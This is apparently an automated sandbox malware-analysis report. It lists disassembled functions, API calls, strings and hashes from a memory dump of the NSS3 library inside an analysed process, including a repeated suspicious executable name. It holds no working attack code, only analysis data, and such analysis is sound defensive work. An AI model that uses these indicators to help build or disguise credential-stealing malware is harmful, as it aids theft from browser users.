PR_GetCurrentThread.NSS3(?,?,?,?,?,6C6E3921,6C8C14E4,6C82CC70), ref: 6C6E4DEF

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 64b1684d7eeeb1c65026f27bec78120dd66c1b0916972cd83a9ea51abc803b80
Instruction ID: 9f398eb195b2d3bbf12353dc71fd333c7e492ad4b252c2090aa66d5ba81a6325
Opcode Fuzzy Hash: 64b1684d7eeeb1c65026f27bec78120dd66c1b0916972cd83a9ea51abc803b80
Instruction Fuzzy Hash: F04170B1A09615CFCB20AFB8D5885697BF4BF09318F05467ADC889B701EB70E894CBD5

Function 6C79DC60 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,6C7A97C1,?,00000000,00000000,?,?,?,00000000,?,6C787F4A,00000000), ref: 6C79DC68

Part of subcall function 6C7C0BE0: malloc.MOZGLUE(6C7B8D2D,?,00000000,?), ref: 6C7C0BF8
Part of subcall function 6C7C0BE0: TlsGetValue.KERNEL32(6C7B8D2D,?,00000000,?), ref: 6C7C0C15

PORT_Alloc_Util.NSS3(00000008,00000000,?,?,?,00000000,?,6C787F4A,00000000,?,00000000,00000000), ref: 6C79DD36
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C787F4A,00000000,?,00000000,00000000), ref: 6C79DE2D
memcpy.VCRUNTIME140(00000000,00000000,?,?,00000000,?,?,?,00000000,?,6C787F4A,00000000,?,00000000,00000000), ref: 6C79DE43
PORT_Alloc_Util.NSS3(0000000C,00000000,?,?,?,00000000,?,6C787F4A,00000000,?,00000000,00000000), ref: 6C79DE76
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C787F4A,00000000,?,00000000,00000000), ref: 6C79DF32
memcpy.VCRUNTIME140(-00000010,00000000,00000000,?,00000000,?,?,?,00000000,?,6C787F4A,00000000,?,00000000,00000000), ref: 6C79DF5F
PORT_Alloc_Util.NSS3(00000004,00000000,?,?,?,00000000,?,6C787F4A,00000000,?,00000000,00000000), ref: 6C79DF78
PORT_Alloc_Util.NSS3(00000010,00000000,?,?,?,00000000,?,6C787F4A,00000000,?,00000000,00000000), ref: 6C79DFAA

Strings

UwoBpsjuJreUojRsa.exeNVNZUQdXcZUwoBpsjuJreUojRsa.exeNVNZUQdXcZUwoBpsjuJreUojRsa.exeNVNZUQdXcZUwoBpsjuJreUojRsa.exeNVNZUQdXcZUwoBpsjuJreUojRsa.exeNVNZUQdXcZUwoBpsjuJreUojRsa.exeNVNZUQdXcZUwoBpsjuJreUojRsa.exeNVNZUQdXcZUwoBpsjuJreUojRsa.exeNVNZUQ, xrefs: 6C79DDAA

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Alloc_Util$memcpy$Valuemalloc
String ID: UwoBpsjuJreUojRsa.exeNVNZUQdXcZUwoBpsjuJreUojRsa.exeNVNZUQdXcZUwoBpsjuJreUojRsa.exeNVNZUQdXcZUwoBpsjuJreUojRsa.exeNVNZUQdXcZUwoBpsjuJreUojRsa.exeNVNZUQdXcZUwoBpsjuJreUojRsa.exeNVNZUQdXcZUwoBpsjuJreUojRsa.exeNVNZUQdXcZUwoBpsjuJreUojRsa.exeNVNZUQ
API String ID: 1886645929-4245068984
Opcode ID: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction ID: ad6f99cf2e7c993243299649d44555751a6ae0b9037bc54ad43037fd020e44d4
Opcode Fuzzy Hash: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction Fuzzy Hash: 0B81D6716066058BFF148E19FB9536972DADB71348F20843EDA19CAFE1E778C8C4C64A

Function 6C877CD0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113threadstringCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C877CE0

Part of subcall function 6C829BF0: TlsGetValue.KERNEL32(?,?,?,6C870A75), ref: 6C829C07

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C877D36
PR_Realloc.NSS3(?,00000080), ref: 6C877D6D
PR_GetCurrentThread.NSS3 ref: 6C877D8B
PR_snprintf.NSS3(?,?,NSPR_INHERIT_FDS=%s:%d:0x%lx,?,?,?), ref: 6C877DC2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C877DD8
malloc.MOZGLUE(00000080), ref: 6C877DF8
PR_GetCurrentThread.NSS3 ref: 6C877E06

Strings

NSPR_INHERIT_FDS=%s:%d:0x%lx, xrefs: 6C877DF0
:%s:%d:0x%lx, xrefs: 6C877DB9

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: CurrentThread$strlen$R_snprintfReallocValuemalloc
String ID: :%s:%d:0x%lx$NSPR_INHERIT_FDS=%s:%d:0x%lx
API String ID: 530461531-3274975309
Opcode ID: dd0e1c3c18cb974148196c9fbaf4b90d6ab047329c0feb610ea5dedb16ff77bd
Instruction ID: 4e9d7ab15127a1a0804d3a854b046024cdbee9e870263e1f99120a59e659597a
Opcode Fuzzy Hash: dd0e1c3c18cb974148196c9fbaf4b90d6ab047329c0feb610ea5dedb16ff77bd
Instruction Fuzzy Hash: AE41C5B16002059FDB34CF28CE8496F3BBAFF85318B254968E8198B751E731E841CBB1

Function 6C877E20 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103filestringpipeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C877E37
PR_GetEnvSecure.NSS3(NSPR_INHERIT_FDS), ref: 6C877E46

Part of subcall function 6C751240: TlsGetValue.KERNEL32(00000040,?,6C75116C,NSPR_LOG_MODULES), ref: 6C751267
Part of subcall function 6C751240: EnterCriticalSection.KERNEL32(?,?,?,6C75116C,NSPR_LOG_MODULES), ref: 6C75127C
Part of subcall function 6C751240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C75116C,NSPR_LOG_MODULES), ref: 6C751291
Part of subcall function 6C751240: PR_Unlock.NSS3(?,?,?,?,6C75116C,NSPR_LOG_MODULES), ref: 6C7512A0

PR_sscanf.NSS3(00000001,%d:0x%lx,?,?), ref: 6C877EAF
PR_ImportFile.NSS3(?), ref: 6C877ECF
PR_GetCurrentThread.NSS3 ref: 6C877ED6
PR_ImportTCPSocket.NSS3(?), ref: 6C877F01
PR_ImportUDPSocket.NSS3(?,?), ref: 6C877F0B
PR_ImportPipe.NSS3(?,?,?), ref: 6C877F15

Strings

NSPR_INHERIT_FDS, xrefs: 6C877E41
%d:0x%lx, xrefs: 6C877EA9

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Import$Socket$CriticalCurrentEnterFilePipeR_sscanfSectionSecureThreadUnlockValuegetenvstrlen
String ID: %d:0x%lx$NSPR_INHERIT_FDS
API String ID: 2743735569-629032437
Opcode ID: dccf6eae105e4167ceadcf2f70fc492f5e9fafa4ecf53ffeabf8a9bd2336903d
Instruction ID: 8ab42f7ceebbd6ae8a2a41b7b22c799f271f0fdaed131beaec5fd1edc0180455
Opcode Fuzzy Hash: dccf6eae105e4167ceadcf2f70fc492f5e9fafa4ecf53ffeabf8a9bd2336903d
Instruction Fuzzy Hash: A8312572A041199BEB329BA9CB44AAFB7A8FF0674CF100D75D40197A11F7619D44C7F2

Function 6C784E50 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C784E90
EnterCriticalSection.KERNEL32 ref: 6C784EA9
TlsGetValue.KERNEL32 ref: 6C784EC6
EnterCriticalSection.KERNEL32 ref: 6C784EDF
PL_HashTableLookup.NSS3 ref: 6C784EF8
PR_Unlock.NSS3 ref: 6C784F05
PR_Now.NSS3 ref: 6C784F13
PR_Unlock.NSS3 ref: 6C784F3A

Part of subcall function 6C7507A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C6E204A), ref: 6C7507AD
Part of subcall function 6C7507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6E204A), ref: 6C7507CD
Part of subcall function 6C7507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6E204A), ref: 6C7507D6
Part of subcall function 6C7507A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C6E204A), ref: 6C7507E4
Part of subcall function 6C7507A0: TlsSetValue.KERNEL32(00000000,?,6C6E204A), ref: 6C750864
Part of subcall function 6C7507A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C750880
Part of subcall function 6C7507A0: TlsSetValue.KERNEL32(00000000,?,?,6C6E204A), ref: 6C7508CB
Part of subcall function 6C7507A0: TlsGetValue.KERNEL32(?,?,6C6E204A), ref: 6C7508D7
Part of subcall function 6C7507A0: TlsGetValue.KERNEL32(?,?,6C6E204A), ref: 6C7508FB

Strings

bUxl, xrefs: 6C784F3F
bUxl, xrefs: 6C784E5C

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID: bUxl$bUxl
API String ID: 326028414-1158714841
Opcode ID: 4bdcc174bc1e260ed18d0afbafc06533fd107c914ce4593dc2ef9c7693bbcf6c
Instruction ID: 763850f6225ee47332140c6899bc82da5011b3f4ee37e870545f0133a4ca3ecd
Opcode Fuzzy Hash: 4bdcc174bc1e260ed18d0afbafc06533fd107c914ce4593dc2ef9c7693bbcf6c
Instruction Fuzzy Hash: 82414BB4A006059FCB10DF78C59886ABBF4FF49308B058579ED599B711EB30E895CBE1

Function 6C7AECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6C7ADE64), ref: 6C7AED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7AED22

Part of subcall function 6C7BB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8918D0,?), ref: 6C7BB095

PL_FreeArenaPool.NSS3(?), ref: 6C7AED4A
PL_FinishArenaPool.NSS3(?), ref: 6C7AED6B
PR_CallOnce.NSS3(6C8C2AA4,6C7C12D0), ref: 6C7AED38

Part of subcall function 6C6E4C70: TlsGetValue.KERNEL32(?,?,?,6C6E3921,6C8C14E4,6C82CC70), ref: 6C6E4C97
Part of subcall function 6C6E4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C6E3921,6C8C14E4,6C82CC70), ref: 6C6E4CB0
Part of subcall function 6C6E4C70: PR_Unlock.NSS3(?,?,?,?,?,6C6E3921,6C8C14E4,6C82CC70), ref: 6C6E4CC9

SECOID_FindOID_Util.NSS3(?), ref: 6C7AED52
PR_CallOnce.NSS3(6C8C2AA4,6C7C12D0), ref: 6C7AED83
PL_FreeArenaPool.NSS3(?), ref: 6C7AED95
PL_FinishArenaPool.NSS3(?), ref: 6C7AED9D

Part of subcall function 6C7C64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C7C127C,00000000,00000000,00000000), ref: 6C7C650E

Strings

security, xrefs: 6C7AED06

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: b1b6c55e55ee8114f0e45bc5d93cdaf24424379dd9976dc748292ffcba7c55f6
Instruction ID: b8e0f8660aad153d2d450cd79d914d56f44b5c5df503374ae78273a913509cb0
Opcode Fuzzy Hash: b1b6c55e55ee8114f0e45bc5d93cdaf24424379dd9976dc748292ffcba7c55f6
Instruction Fuzzy Hash: 47112E75A002096FD72057A59E8DBBB72786F4170DF000A35E81562F81F728A71DD6DB

Function 6C870EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6C752357), ref: 6C870EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C752357), ref: 6C870EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C870EE6

Part of subcall function 6C8709D0: PR_Now.NSS3 ref: 6C870A22
Part of subcall function 6C8709D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C870A35
Part of subcall function 6C8709D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C870A66
Part of subcall function 6C8709D0: PR_GetCurrentThread.NSS3 ref: 6C870A70
Part of subcall function 6C8709D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C870A9D
Part of subcall function 6C8709D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C870AC8
Part of subcall function 6C8709D0: PR_vsmprintf.NSS3(?,?), ref: 6C870AE8
Part of subcall function 6C8709D0: EnterCriticalSection.KERNEL32(?), ref: 6C870B19
Part of subcall function 6C8709D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C870B48
Part of subcall function 6C8709D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C870C76
Part of subcall function 6C8709D0: PR_LogFlush.NSS3 ref: 6C870C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C870EFA

Part of subcall function 6C75AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C75AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C870F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C870F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C870F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C870F2B

Strings

Aborting, xrefs: 6C870EB3
Assertion failure: %s, at %s:%d, xrefs: 6C870ED9, 6C870EE5, 6C870F06, 6C870F0B

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 90483d4fe2c2bdc03bb90de4d0fe657d6cf3b9fa862c79edb79bcc248de05f7f
Instruction ID: 55ade587c517418d26e493d8f84c53cd65c1d819c60f65f248adbbe575d6df01
Opcode Fuzzy Hash: 90483d4fe2c2bdc03bb90de4d0fe657d6cf3b9fa862c79edb79bcc248de05f7f
Instruction Fuzzy Hash: 31F0A4B9A001187BDA213BA49C4AC9B3F2DDF42269F444434FD0956603EB76E92497F6

Function 6C7D4DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6C7D4DCB

Part of subcall function 6C7C0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7687ED,00000800,6C75EF74,00000000), ref: 6C7C1000
Part of subcall function 6C7C0FF0: PR_NewLock.NSS3(?,00000800,6C75EF74,00000000), ref: 6C7C1016
Part of subcall function 6C7C0FF0: PL_InitArenaPool.NSS3(00000000,security,6C7687ED,00000008,?,00000800,6C75EF74,00000000), ref: 6C7C102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6C7D4DE1

Part of subcall function 6C7C10C0: TlsGetValue.KERNEL32(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C10F3
Part of subcall function 6C7C10C0: EnterCriticalSection.KERNEL32(?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C110C
Part of subcall function 6C7C10C0: PL_ArenaAllocate.NSS3(?,?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C1141
Part of subcall function 6C7C10C0: PR_Unlock.NSS3(?,?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C1182
Part of subcall function 6C7C10C0: TlsGetValue.KERNEL32(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6C7D4DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C7D4E59

Part of subcall function 6C7BFAB0: free.MOZGLUE(?,-00000001,?,?,6C75F673,00000000,00000000), ref: 6C7BFAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C89300C,00000000), ref: 6C7D4EB8
SECOID_FindOID_Util.NSS3(?), ref: 6C7D4EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6C7D4F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C7D521A

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: b81d753dfc1ecee39bb4c610b03f004ce015f8b539ad1bbfe8381b97a8bfd36d
Instruction ID: be7157087265defe6580fc0170d8b0ef6d94041a64e1ad59f9ce5b04781bb07d
Opcode Fuzzy Hash: b81d753dfc1ecee39bb4c610b03f004ce015f8b539ad1bbfe8381b97a8bfd36d
Instruction Fuzzy Hash: E5F18DB1E00209CFDB04CF58E9407ADB7B2FF44358F268169E915AB781E735E981CB91

Function 6C702E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6C702F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6C702FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6C703005
memcpy.VCRUNTIME140(?,?,?), ref: 6C7030EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C703131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C703178

Strings

%s at line %d of [%.10s], xrefs: 6C703171
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C703022, 6C703156, 6C703162, 6C70318A, 6C703196, 6C7031A2, 6C7031AE, 6C7031BA, 6C7031C6
database corruption, xrefs: 6C70316C

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: 4f9e20137fd4f56b116a7a518635b3f6a6cbff6e1dadf6c35d1538f71aba6766
Instruction ID: 9892af0d37afb447ea9f2e1e840e7844b161e6c7f430713d7d0e5956acf83a05
Opcode Fuzzy Hash: 4f9e20137fd4f56b116a7a518635b3f6a6cbff6e1dadf6c35d1538f71aba6766
Instruction Fuzzy Hash: 97B1B3B0F056199BCB18CF9DCA84AEEB7F2BF48304F144429E945B7B46D375A941CBA0

Function 6C77FCA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99stringmemoryCOMMON

Download Yara Rule

APIs

PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6C77FCBD
strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6C77FCCC
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6C77FCEF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C77FD32
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6C77FD46
PORT_Alloc_Util.NSS3(00000001), ref: 6C77FD51
memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6C77FD6D
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C77FD84

Strings

:, xrefs: 6C77FD78

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Alloc_Utilmemcpystrlen$ArenaInternalK11_Slotstrchr
String ID: :
API String ID: 183580322-336475711
